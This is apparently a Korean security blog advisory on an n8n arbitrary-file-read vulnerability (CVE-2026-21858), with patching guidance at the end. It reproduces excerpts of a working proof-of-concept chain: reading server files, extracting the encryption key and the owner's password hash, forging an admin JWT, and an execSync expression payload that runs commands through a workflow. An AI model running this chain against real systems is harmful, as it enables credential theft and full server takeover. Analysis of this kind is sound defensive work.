1. n8n
- 노드 기반 워크플로우 자동화 플랫폼 [1][2]
2. 취약점

- Content-Type 값을 검증하지 않고 신뢰하여 파싱 로직을 분기하는 설계로 인해, req.body.files 내 파일 경로 조작이 가능해지며 발생하는 임의 파일 읽기 취약점 (CVSS: 10.0)
영향받는 버전
- n8n 1.65.0 이하 버전
- n8n은 웹훅 기반으로 사용자 요청을 수신하고, parseRequestBody()에서 Content-Type에 따라 요청 본문 파싱 방식을 결정한 뒤 웹훅 로직 수행 [4]
> multipart/form-data 요청의 경우, parseFormData()-파일 업로드 파서-를 사용해 파일 정보를 req.body.files에 저장
> 다른 유형의 요청의 경우, parseBody()-일반 본문 파서-를 사용하며, 데이터를 req.body에 저장
※ 웹훅(Webhook) : 어떤 서비스나 애플리케이션에서 특정 이벤트가 발생했을 때, 미리 설정된 다른 URL(또는 엔드포인트)로 자동으로 데이터를 보내주는 방식 [5]

- 파일 업로드를 처리하는 웹훅인 formWebhook()
> prepareFormReturnItem()를 호출해 req.body.files에 있는 각 값들을 복사해 임시경로(req.body.files[id].filepath)에 저장
> 이때, 콘텐츠 유형이 multipart/form-data인지 확인하지 않고 호출되기 때문에 req.body.files 객체 전체를 제어할 수 있음

- 공격자는 Content-Type 헤더 및 Body 값을 조작해 요청 전송
> req.body.files를 덮어써 파일 경로를 제어할 수 있게 되어, 시스템 로컬 파일을 복사할 수 있음

2.1 PoC
- 타겟 URL과 웹훅 경로를 받아 Ni8mare 클래스 객체를 생성(Content-Type 및 Body 조작)해 홈 디렉터리, 암호화 키 등을 탈취하는 공격 체인 가동 [6]
...
# Ni8mare 클래스 객체 생성
class Ni8mare:
def __init__(self, base_url, form_path):
self.base_url = base_url.rstrip("/")
self.form_url = f"{self.base_url}/{form_path.lstrip('/')}"
self.session = requests.Session()
self.admin_token = None
...
2.1.1 임의 파일 읽기
- 조작된 요청으로 서버 내부의 {home}/.n8n/config 및 {home}/.n8n/database.sqlite 파일 탈취
> payload의 filepath를 읽고 싶은 서버 파일 경로로 설정 및 Content-Type 헤더를 application/json 설정
> global:owner 권한을 지닌 사용자의 id, email, password 추출
...
# /proc/self/environ 파일을 읽어 HOME 디렉터리 경로 획득
def get_home(self) -> str | None:
data = self.read_file("/proc/self/environ")
if not data:
return None
for var in data.split(b"\x00"):
if var.startswith(b"HOME="):
return var.decode().split("=", 1)[1]
return None
# ~/.n8n/config 파일에서 encryptionKey 추출 (n8n-auth 세션 쿠키 서명에 사용됨)
def get_key(self, home: str) -> str | None:
data = self.read_file(f"{home}/.n8n/config")
return json.loads(data).get("encryptionKey") if data else None
# ~/.n8n/database.sqlite 파일 탈취
def get_db(self, home: str) -> bytes | None:
return self.read_file(f"{home}/.n8n/database.sqlite", timeout=120)
# SQLite DB에서 global:owner 권한을 지닌 사용자의 id, email, password 추출
def extract_admin(self, db: bytes) -> tuple[str, str, str] | None:
with tempfile.NamedTemporaryFile(suffix=".db") as f:
f.write(db)
f.flush()
conn = sqlite3.connect(f.name)
row = conn.execute("SELECT id, email, password FROM user WHERE role='global:owner' LIMIT 1").fetchone()
conn.close()
return (row[0], row[1], row[2]) if row else None
...
2.1.2 인증 우회
- 탈취한 파일에서 encryptionKey 및 관리자 패스워드 해시를 추출하여 JWT 쿠키 위조
...
# 위조된 관리자 권한의 JWT 생성
def forge_token(self, key: str, uid: str, email: str, pw_hash: str) -> str:
secret = hashlib.sha256(key[::2].encode()).hexdigest()
h = b64encode(hashlib.sha256(f"{email}:{pw_hash}".encode()).digest()).decode()[:10]
self.admin_token = jwt.encode({"id": uid, "hash": h}, secret, "HS256")
return self.admin_token
...
2.1.3 원격 명령 실행
- 관리자 권한으로 샌드박스를 우회(CVE-2025-68613)하는 워크플로우 실행
...
# CVE-2025-68613 악용 페이로드
# 워크플로 표현식 평가 과정의 격리 미흡으로, 특정 조건에서 인증된 사용자가 악성 표현식을 주입해 n8n 프로세스 권한으로 임의 코드 실행이 가능
RCE_PAYLOAD = '={{ (function() { var require = this.process.mainModule.require; var execSync = require("child_process").execSync; return execSync("CMD").toString(); })() }}'
...
def rce(self, command: str) -> str | None:
nodes, connections, _, _ = self._build_nodes(command)
wf_name = f"wf-{randstr(16)}"
workflow = {"name": wf_name, "active": False, "nodes": nodes,
"connections": connections, "settings": {}}
resp = self._api("POST", "/rest/workflows", json=workflow, timeout=10)
if not resp:
return None
wf_id = resp.json().get("data", {}).get("id")
if not wf_id:
return None
run_data = {"workflowData": {"id": wf_id, "name": wf_name, "active": False,
"nodes": nodes, "connections": connections, "settings": {}}}
resp = self._api("POST", f"/rest/workflows/{wf_id}/run", json=run_data, timeout=30)
if not resp:
self._api("DELETE", f"/rest/workflows/{wf_id}", timeout=5)
return None
exec_id = resp.json().get("data", {}).get("executionId")
result = self._get_result(exec_id) if exec_id else None
self._api("DELETE", f"/rest/workflows/{wf_id}", timeout=5)
return result
...
3. 대응방안
- 벤더사 제공 업데이트 적용 [7][8]
| 취약점 | 제품명 | 영향받는 버전 | 해결 버전 |
| CVE-2026-21858 | n8n | 1.65.0 이하 | 1.121.0 이상 |
4. 참고
[1] https://n8n.io/
[2] https://wikidocs.net/290882
[3] https://nvd.nist.gov/vuln/detail/CVE-2026-21858
[4] https://www.cyera.com/research-labs/ni8mare-unauthenticated-remote-code-execution-in-n8n-cve-2026-21858
[5] https://velog.io/@bm1201/Webhook
[6] https://github.com/Chocapikk/CVE-2026-21858
[7] https://community.n8n.io/t/security-advisory-security-vulnerability-in-n8n-versions-1-65-1-120-4/247305
[8] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71933&menuNo=205020
'취약점 > File Up&Download, Inclusion' 카테고리의 다른 글
| Cisco 무선 LAN 컨트롤러 파일 업로드 취약점 (CVE-2025-20188) (0) | 2025.05.12 |
|---|---|
| SAP NetWeaver Visual Composer 파일 업로드 취약점 (CVE-2025-31324) (0) | 2025.05.02 |
| WordPress WPLMS 플러그인 파일 업로드 취약점 (CVE-2024-56046, CVE-2024-56050, CVE-2024-56052) (0) | 2025.01.01 |
| Apache Struts 임의 파일 업로드 취약점 (CVE-2024-53677) (0) | 2024.12.19 |
| Cleo 제품 임의 파일 읽기/쓰기 취약점 (CVE-2024-50623) (0) | 2024.12.15 |